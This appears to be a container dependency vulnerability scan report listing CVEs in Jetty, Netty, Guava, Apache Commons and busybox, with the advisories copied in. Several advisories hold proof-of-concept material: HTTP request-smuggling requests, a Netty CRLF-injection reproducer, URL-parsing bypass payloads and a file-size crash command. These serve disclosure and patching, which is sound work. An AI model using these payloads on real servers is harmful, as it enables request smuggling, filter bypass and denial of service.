+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.430%
EPSS Percentile62nd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.009%
EPSS Percentile1st percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.532%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile34th percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score0.794%
EPSS Percentile74th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.047%
EPSS Percentile15th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.051%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.225%
EPSS Percentile45th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.661%
EPSS Percentile71st percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.532%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.509%
EPSS Percentile66th percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile43rd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.047%
EPSS Percentile15th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
